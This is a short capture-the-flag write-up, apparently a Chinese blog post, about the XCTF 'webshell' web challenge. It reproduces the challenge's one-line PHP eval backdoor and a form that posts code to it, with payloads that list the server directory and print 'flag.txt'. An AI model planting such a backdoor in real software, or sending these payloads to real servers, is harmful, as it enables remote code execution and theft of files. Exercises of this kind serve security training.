CTF-web

XCTF web-shell

 

<!-- saved from url=(0027)http://111.198.29.45:31641/ -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <title>webshell</title>
    <link href="./webshell_files/bootstrap.min.css" rel="stylesheet">
    <style>
        body{
            margin-left:auto;
            margin-right:auto;
            margin-TOP:200PX;
            width:20em;
        }
    </style>
</head>
<body>
<h3>你會使用webshell嗎?</h3>
​​​​​​​<form action="http://111.198.29.45:31641/index.php" method="post">
    <input type="text" name="shell" value="print_r(scandir(getcwd()));">
    <input type="submit" value="submit">
    print_r(show_source('flag.txt'));
</form>
&lt;?php @eval($_POST['shell']);?&gt;
</body></html>

web-execution

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章